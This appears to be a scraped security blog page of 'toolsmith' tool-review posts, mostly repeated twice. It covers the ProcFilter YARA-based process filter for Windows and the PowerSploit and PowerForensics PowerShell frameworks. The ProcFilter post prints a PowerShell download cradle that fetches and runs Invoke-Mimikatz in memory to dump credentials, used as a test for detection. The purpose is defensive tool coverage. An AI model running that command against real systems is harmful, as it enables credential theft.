Collaborate Disseminate
Continuing where we left off in The HELK vs APTSimulator – Part 1, I will focus our attention on additional, useful HELK features to aid you in your threat hunting practice. HELK offers Apache Spark, GraphFrames, and Jupyter Notebooks as par… Continue reading toolsmith #132 – The HELK vs APTSimulator – Part 2
Continuing where we left off in The HELK vs APTSimulator – Part 1, I will focus our attention on additional, useful HELK features to aid you in your threat hunting practice. HELK offers Apache Spark, GraphFrames, and Jupyter Notebooks &#… Continue reading toolsmith #132 – The HELK vs APTSimulator – Part 2
Ladies and gentlemen, for our main attraction, I give you…The HELK vs APTSimulator, in a Death Battle! The late, great Randy “Macho Man” Savage said many things in his day, in his own special way, but “Expect the unexpected in the kingdom of madness… Continue reading toolsmith #131 – The HELK vs APTSimulator – Part 1
Ladies and gentlemen, for our main attraction, I give you…The HELK vs APTSimulator, in a Death Battle! The late, great Randy “Macho Man” Savage said many things in his day, in his own special way, but “Expect the unexpected in the kingdom of madness!… Continue reading toolsmith #131 – The HELK vs APTSimulator – Part 1
Note: Next month, toolsmith #120 will represent ten years of award winning security tools coverage. It’s been an amazing journey; I look to you, dear reader, for ideas on what tool you’d like to see me cover for the decade anniversary edition. Contact information at the end of this post.
Toolsmith #119 focuses on ProcFilter, a new project, just a month old as this is written, found on Github by one of my blue team members (shout-out to Ina). Brought to you by the GoDaddy Engineering crew, I see a lot of upside and potential in this project. Per it’s GitHub readme, ProcFilter is “a process filtering system for Windows with built-in YARA integration. YARA rules can be instrumented with custom meta tags that tailor its response to rule matches. It runs as a Windows service and is integrated with Microsoft’s ETW API, making results viewable in the Windows Event Log. Installation, activation, and removal can be done dynamically and do not require a reboot.”
Malware analysts can use ProcFilter to create YARA signatures to protect Windows environments against specific threats. It’s a lightweight, precise, targeted tool that does not include a large signature set. “ProcFilter is also intended for use in controlled analysis environments where custom plugins can perform artifact-specific actions.”
GoDaddy’s Emerson Wiley, the ProcFilter project lead provided me with valuable insight on the tool and its future.
“For us at GoDaddy the idea was to get YARA signatures deployed proactively. YARA has a lot of traction within the malware analysis community and its flexible nature makes it perfect for malware categorization. What ProcFilter brings to the table is the ability to get those signatures out there in a preventative fashion with minimal overhead. What we’re saying by making this project open source is, “This is interesting to us; if it’s interesting to you then lets work together and move it forward.”
Endpoint tools don’t typically provide openness, flexibility, and extensibility so those are other areas where ProcFilter stands out. I’m passionate about creating extensible software – if people have the opportunity to implement their own ideas it’s pretty much guaranteed that you’ll be blown away by what they create. With the core of the project trending towards stability we’re going to start focusing on building plugins that do unique and interesting things with process manipulation. We’re just starting to scratch the surface there and I look forward to what comes next.
Something I haven’t mentioned elsewhere is a desire to integrate support for Python or Lua plugins. This could provide security engineers a quick, easy way to react to process and thread events. There’s a testing branch with some of these features and we’ll see where it goes.”
Installation
ProcFilter integrates nicely with Git and Windows Event Logging to minimize the need for additional tools or infrastructure for rules deployment or results acquisition.
ProcFilter is a beta offering with lots of commits from Emerson. I grabbed the x64 release (debug available too) installer for the 1.0.0-beta.2 release. Installation was seamless and rapid. It runs as a service by default, you’ll see ProcFilter Service via the services.msc as follows.
 |
| ProcFilter Service |
You’ll want to review, and likely modify, procfilter.ini as it lets you manage ProcFilter with flexible granularity. You’ll be able to manage plugins, rules files, blocking, logging, and quarantine, as well as scanning parameters and white-listing.
ProcFilter Use
You can also work with ProcFilter interactively via the command prompt, again with impressive flexibility. A quick procfilter -status will advise you of your running state.
 |
| ProcFilter Service |
Given that ProcFilter installs out of the gate with a lean rule set, I opted to grab a few additional rules for detection of my test scenario. There is one rule set built by Florian Roth (Neo23x0) that you may want to deploy situationally as it’s quite broad, but offers extensive and effective coverage. As my test scenario was specific to PowerShell-born attacks such as Invoke-Mimikatz, I zoomed in for a very specific rule set devised by the man himself, mimikatz creator Benjamin Delpy. Yes, he’s written very effective rules to detect his own craftsmanship.
 |
| mimikatz power_pe_injection Yara rule |
I opted to drop the rules in my master.yara file in the localrules directory, specifically here: C:\Program Files\ProcFilter\localrules\master.yara. I restarted the service and also ran procfilter -compile from the command line to ensure a clean rules build. Command-line options follow:
 |
|||
| Command-line options |
Attack
As noted in our May 2015 discussion of Rekall use for hunting in-memory adversaries, an attack such as IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI‘); Invoke-Mimikatz -DumpCreds should present a good opportunity for testing. Given the endless amount of red vs. blue PowerShell scenarios, this one lined up perfectly. Using a .NET webclient call, this expression grabs Invoke-Mimikatz.ps1 from @mattifestation‘s PowerSploit Github and runs it in memory.
 |
| Invoke-mimikatz |
The attack didn’t get very far at all on Windows 10, by design, but that doesn’t mean we don’t want to detect such attempted abuses in our environment, even if unsuccessful.
Detect
You can use command-line options to sweep broadly or target a specific process. In this case, I was able to reasonably assert (good job, Russ) that the PowerShell process might be the culprit. Sheer genius, I know. 🙂
 |
| Suspect process |
Running procfilter -memoryscan 10612 came through like a champ.
 |
| Command-line ProcFilter detection |
The real upside of ProcFilter though is that it writes to the Windows Event Log, you just need to build a custom filter as described in the readme.
The result, as dictated in part by your procfilter.ini configuration should like something like the following, once you trigger an event that matches one of your Yara rules.
 |
| ProcFilter event log view |
In closing
Great stuff from the GoDaddy Engineering team, I see significant promise in ProcFilter and really look forward to its continued support and development. Thanks to Emerson Wiley for all his great feedback.
Note: Next month, toolsmith #120 will represent ten years of award winning security tools coverage. It’s been an amazing journey; I look to you, dear reader, for ideas on what tool you’d like to see me cover for the decade anniversary edition. Contact information at the end of this post.
Toolsmith #119 focuses on ProcFilter, a new project, just a month old as this is written, found on Github by one of my blue team members (shout-out to Ina). Brought to you by the GoDaddy Engineering crew, I see a lot of upside and potential in this project. Per it’s GitHub readme, ProcFilter is “a process filtering system for Windows with built-in YARA integration. YARA rules can be instrumented with custom meta tags that tailor its response to rule matches. It runs as a Windows service and is integrated with Microsoft’s ETW API, making results viewable in the Windows Event Log. Installation, activation, and removal can be done dynamically and do not require a reboot.”
Malware analysts can use ProcFilter to create YARA signatures to protect Windows environments against specific threats. It’s a lightweight, precise, targeted tool that does not include a large signature set. “ProcFilter is also intended for use in controlled analysis environments where custom plugins can perform artifact-specific actions.”
GoDaddy’s Emerson Wiley, the ProcFilter project lead provided me with valuable insight on the tool and its future.
“For us at GoDaddy the idea was to get YARA signatures deployed proactively. YARA has a lot of traction within the malware analysis community and its flexible nature makes it perfect for malware categorization. What ProcFilter brings to the table is the ability to get those signatures out there in a preventative fashion with minimal overhead. What we’re saying by making this project open source is, “This is interesting to us; if it’s interesting to you then lets work together and move it forward.”
Endpoint tools don’t typically provide openness, flexibility, and extensibility so those are other areas where ProcFilter stands out. I’m passionate about creating extensible software – if people have the opportunity to implement their own ideas it’s pretty much guaranteed that you’ll be blown away by what they create. With the core of the project trending towards stability we’re going to start focusing on building plugins that do unique and interesting things with process manipulation. We’re just starting to scratch the surface there and I look forward to what comes next.
Something I haven’t mentioned elsewhere is a desire to integrate support for Python or Lua plugins. This could provide security engineers a quick, easy way to react to process and thread events. There’s a testing branch with some of these features and we’ll see where it goes.”
Installation
ProcFilter integrates nicely with Git and Windows Event Logging to minimize the need for additional tools or infrastructure for rules deployment or results acquisition.
ProcFilter is a beta offering with lots of commits from Emerson. I grabbed the x64 release (debug available too) installer for the 1.0.0-beta.2 release. Installation was seamless and rapid. It runs as a service by default, you’ll see ProcFilter Service via the services.msc as follows.
|
| ProcFilter Service |
You’ll want to review, and likely modify, procfilter.ini as it lets you manage ProcFilter with flexible granularity. You’ll be able to manage plugins, rules files, blocking, logging, and quarantine, as well as scanning parameters and white-listing.
ProcFilter Use
You can also work with ProcFilter interactively via the command prompt, again with impressive flexibility. A quick procfilter -status will advise you of your running state.
|
| ProcFilter Service |
Given that ProcFilter installs out of the gate with a lean rule set, I opted to grab a few additional rules for detection of my test scenario. There is one rule set built by Florian Roth (Neo23x0) that you may want to deploy situationally as it’s quite broad, but offers extensive and effective coverage. As my test scenario was specific to PowerShell-born attacks such as Invoke-Mimikatz, I zoomed in for a very specific rule set devised by the man himself, mimikatz creator Benjamin Delpy. Yes, he’s written very effective rules to detect his own craftsmanship.
|
| mimikatz power_pe_injection Yara rule |
I opted to drop the rules in my master.yara file in the localrules directory, specifically here: C:\Program Files\ProcFilter\localrules\master.yara. I restarted the service and also ran procfilter -compile from the command line to ensure a clean rules build. Command-line options follow:
|
|||
| Command-line options |
Attack
As noted in our May 2015 discussion of Rekall use for hunting in-memory adversaries, an attack such as IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI‘); Invoke-Mimikatz -DumpCreds should present a good opportunity for testing. Given the endless amount of red vs. blue PowerShell scenarios, this one lined up perfectly. Using a .NET webclient call, this expression grabs Invoke-Mimikatz.ps1 from @mattifestation‘s PowerSploit Github and runs it in memory.
|
| Invoke-mimikatz |
The attack didn’t get very far at all on Windows 10, by design, but that doesn’t mean we don’t want to detect such attempted abuses in our environment, even if unsuccessful.
Detect
You can use command-line options to sweep broadly or target a specific process. In this case, I was able to reasonably assert (good job, Russ) that the PowerShell process might be the culprit. Sheer genius, I know. 🙂
|
| Suspect process |
Running procfilter -memoryscan 10612 came through like a champ.
|
| Command-line ProcFilter detection |
The real upside of ProcFilter though is that it writes to the Windows Event Log, you just need to build a custom filter as described in the readme.
The result, as dictated in part by your procfilter.ini configuration should like something like the following, once you trigger an event that matches one of your Yara rules.
|
| ProcFilter event log view |
In closing
Great stuff from the GoDaddy Engineering team, I see significant promise in ProcFilter and really look forward to its continued support and development. Thanks to Emerson Wiley for all his great feedback.
Happy New Year and welcome to 2016!
When last we explored red team versus blue team tactics in May 2015, we utilized Invoke-Mimikatz, then reviewed and analyzed a victim with WinPmem and Rekall. The recent release of PowerSploit 3.0.0 on 18 DEC 2015 presents us with another opportunity to use PowerShell for a red team versus blue team discussion. This time its an all PowerShell scenario, thanks as well to PowerForensics.
Forget the old Apple pitch line: “There’s an app for that.” With so much PowerShell love, there’s a PowerShell script for that!
For the uninitiated, a description of each.
PowerSploit “is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.“
PowerForensics “is a PowerShell digital forensics framework. It currently supports NTFS and is in the process of adding support for the ext4 file system.“
Both are updated regularly and are GitHub projects subject to your feedback and contributions.
PowerSploit includes scripts that aid in antimalware bypasses, code execution, exfiltration, persistence, privilege escalation, reconnaissance, script modification, and general mayhem.
PowerForensics includes scripts the allow analysis of the boot sector, Windows artifacts, the Application Compatibility Cache, Windows Registry, as well as create forensic timelines. There are also Extended File System 4 (ext4) scripts as well as some utilities.
Credit where due, these two projects include some excellent developers, including Jared Atkinson, who leads PowerForensics but also contributes to PowerSploit. The PowerSploit team also includes Matt Graeber and Joe Bialek, I’ve admired their work and skill set for years.
We won’t explore it here, but be sure to check out Empire from Will Schroeder, who also contributes to PowerSploit. The topic of a future toolsmith, “Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture.“
Before working through a couple of red vs. blue scenarios, a quick rundown on installation for both tool sets.
For PowerSploit, use Download Zip from the Github repo, move the zip package to your DocumentsWindowsPowerShellModules path under your user directory, unpack it, and rename PowerSploit-master to PowerSploit. From an administrator PowerShell prompt, run Import-Module PowerSploit and follow it with Get-Command -Module PowerSploit to ensure proper import.
You will definitely want to run $Env:PSModulePath.Split(‘;’) | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem $_ -Recurse | Unblock-File} } to avoid the incredibly annoying “Do you really want to run scripts downloaded from the Internet” warning. Yes, I really do.
For PowerForensics, the routine is similar, however the modules for PowerForensics are buried a bit deeper in the ZIP package. Again, use Download Zip from the Github repo, unpack the ZIP, drill down to PowerForensics-masterPowerForensicsModule and copy the PowerForensics directory there to your DocumentsWindowsPowerShellModules path.
Issue Get-Module -ListAvailable -Name PowerForensics, them Import-Module PowerForensics. Again, Get-Command -Module PowerForensics will ensure a clean import and show you available modules. Likely worth adding $Env:PSModulePath.Split(‘;’) | % { if ( Test-Path (Join-Path $_ PowerForensics) ) {Get-ChildItem $_ -Recurse | Unblock-File} } to avoid hassles as well.
Let’s begin with my absolute favorite, it is the ultimate in absolute nerd humor and is a force to be reckoned with all by itself. Imagine a red team engagement where you’ve pwned the entire environment, then you leave the following calling card.
If you run Get-Help Add-Persistence -examples you will discover the best infosec joke ever, forget just PowerShell. I’ll modify Example 2 for our red vs. blue purposes, but the net result is unforgettable. From a PowerShell prompt:
Continue reading toolsmith #112: Red vs Blue – PowerSploit vs PowerForensics
Happy New Year and welcome to 2016!
When last we explored red team versus blue team tactics in May 2015, we utilized Invoke-Mimikatz, then reviewed and analyzed a victim with WinPmem and Rekall. The recent release of PowerSploit 3.0.0 on 18 DEC 2015 presents us with another opportunity to use PowerShell for a red team versus blue team discussion. This time its an all PowerShell scenario, thanks as well to PowerForensics.
Forget the old Apple pitch line: “There’s an app for that.” With so much PowerShell love, there’s a PowerShell script for that!
For the uninitiated, a description of each.
PowerSploit “is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.“
PowerForensics “is a PowerShell digital forensics framework. It currently supports NTFS and is in the process of adding support for the ext4 file system.“
Both are updated regularly and are GitHub projects subject to your feedback and contributions.
PowerSploit includes scripts that aid in antimalware bypasses, code execution, exfiltration, persistence, privilege escalation, reconnaissance, script modification, and general mayhem.
PowerForensics includes scripts the allow analysis of the boot sector, Windows artifacts, the Application Compatibility Cache, Windows Registry, as well as create forensic timelines. There are also Extended File System 4 (ext4) scripts as well as some utilities.
Credit where due, these two projects include some excellent developers, including Jared Atkinson, who leads PowerForensics but also contributes to PowerSploit. The PowerSploit team also includes Matt Graeber and Joe Bialek, I’ve admired their work and skill set for years.
We won’t explore it here, but be sure to check out Empire from Will Schroeder, who also contributes to PowerSploit. The topic of a future toolsmith, “Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture.“
Before working through a couple of red vs. blue scenarios, a quick rundown on installation for both tool sets.
For PowerSploit, use Download Zip from the Github repo, move the zip package to your \Documents\WindowsPowerShell\Modules path under your user directory, unpack it, and rename PowerSploit-master to PowerSploit. From an administrator PowerShell prompt, run Import-Module PowerSploit and follow it with Get-Command -Module PowerSploit to ensure proper import.
You will definitely want to run $Env:PSModulePath.Split(‘;’) | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem $_ -Recurse | Unblock-File} } to avoid the incredibly annoying “Do you really want to run scripts downloaded from the Internet” warning. Yes, I really do.
For PowerForensics, the routine is similar, however the modules for PowerForensics are buried a bit deeper in the ZIP package. Again, use Download Zip from the Github repo, unpack the ZIP, drill down to \PowerForensics-master\PowerForensics\Module and copy the PowerForensics directory there to your \Documents\WindowsPowerShell\Modules path.
Issue Get-Module -ListAvailable -Name PowerForensics, them Import-Module PowerForensics. Again, Get-Command -Module PowerForensics will ensure a clean import and show you available modules. Likely worth adding $Env:PSModulePath.Split(‘;’) | % { if ( Test-Path (Join-Path $_ PowerForensics) ) {Get-ChildItem $_ -Recurse | Unblock-File} } to avoid hassles as well.
Let’s begin with my absolute favorite, it is the ultimate in absolute nerd humor and is a force to be reckoned with all by itself. Imagine a red team engagement where you’ve pwned the entire environment, then you leave the following calling card.
If you run Get-Help Add-Persistence -examples you will discover the best infosec joke ever, forget just PowerShell. I’ll modify Example 2 for our red vs. blue purposes, but the net result is unforgettable. From a PowerShell prompt:
Continue reading toolsmith #112: Red vs Blue – PowerSploit vs PowerForensics